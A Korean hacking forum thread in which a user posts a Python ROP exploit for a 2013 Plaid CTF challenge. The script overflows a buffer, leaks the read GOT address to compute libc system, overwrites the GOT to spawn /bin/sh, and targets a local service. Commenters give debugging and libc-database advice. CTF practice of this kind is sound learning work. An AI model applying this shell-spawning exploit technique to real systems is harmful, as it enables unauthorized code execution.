시스템 해킹

 1576, 1/79 회원가입  로그인  
   vngkv123
   2013 plaid ctf rop ..

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1846 [복사]


import socket
import time
import struct

p = lambda x : struct.pack("<L",x)
up = lambda x : struct.unpack("<L",x)[0]
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

pppr = 0x80484b6
writable = 0x08049530
read_plt = 0x804832c
read_got = 0x804961c
write_plt = 0x804830c
write_got = 0x8049614
system = 0xf7e42940
binsh = "/bin/sh"
read_offset = 0x99880

payload = ''
payload += "A"*140 + p(read_plt) + p(pppr)
payload += p(0) + p(writable) + p(8) #store /bin/sh
payload += p(write_plt) + p(pppr) + p(1) #Memory Leak!!
payload += p(read_got) + p(4)
payload += p(read_plt) + p(pppr)
payload += p(0) + p(read_got) + p(4)  #Overwrite to read_got
payload += p(read_plt) + "AAAA" + p(writable) #System function start

s.connect(('localhost',50000))
print "[+] Sending payload ..... "
s.send(payload + "\n")
s.send("/bin/sh" + "\n")
time.sleep(0.5)
read = up(s.recv(4))
real_system = read - read_offset
print '[+]system addr : %s'%(hex(real_system))
time.sleep(0.5)
s.send(p(real_system))
s.send("id"+"\n")
resp = s.recv(1024)
print(resp)
s.close()


제가 짠 페1이로드입니다.
16.04 ubuntu 환경에 xinetd 데몬으로 로컬환경에서 돌려놓고
테스트해보는데 뭐가 잘못된지 모르겠네용 ㅠㅠ

  Hit : 3519     Date : 2017/04/02 07:50



    
해쿨러 왜 안되는지 알려면 적어도 strace결과정도는 같이 첨부해 주셔야 합니다 2017/04/02  
해쿨러 connect다음에 raw_input() 으로 멈추게 해놓고 strace -if -p PID 로 어태치하신다음에 로그 보시면 됩니다 2017/04/02  
vngkv123 아하 넵 2017/04/02  
pwnnnt 구해 진 system got 주소가 맞는지 확인해보셨나요 ?

그리고 pwntools을 사용하시면 더 쉬울 겁니다.
"/bin/sh" 문자열 같은 경우에도, system() 안에 존재하기 때문에 libc base offset 으로 구할 수 있습니다.
2017/04/02  
pwnnnt segment error가 안뜬다면 interactive가 안되어서 그런걸 수 있습니다. 2017/04/02  
vngkv123 그 이거랑은 약간 관련성이 없는질문인데 libc-database를 사용할 때
dynamic-linked 된 파일은 뭐 안나오고 그런거 없죠?? find명령어를 했을때요
2017/04/02  
pwnnnt ldd ./파일명 으로 무슨 라이브러리를 참조하는지 보시고, lice-database에 그 so들을 등록해주세요. 2017/04/03  
pwnnnt dynamic-linked 된 파일이 라이브러리를 참조하기 때문에 libc-database에서 검색하면 나올 겁니다. 2017/04/03  
vngkv123 제가 잘못하고있었네용 ㅋㅋ 감사해용 ㅎㅎ 2017/04/03  
pwnnnt 화-이팅입니다. 2017/04/03  
vngkv123 ㅇ ㅏ 근데 하나만 더 묻고싶은데...
dump명령어를 통해 나온 offset들은 무엇을 기준으로 한 offset인가요 ?
2017/04/03  
vngkv123 몰라도 상관없어보이네용 굿밤하세용 !! ㅋㅋㅋ 2017/04/03  
pwnnnt so 파일 기준 상대주소 값일 겁니다. 2017/04/03  
pwnnnt 굳밤되셔용 ! 2017/04/03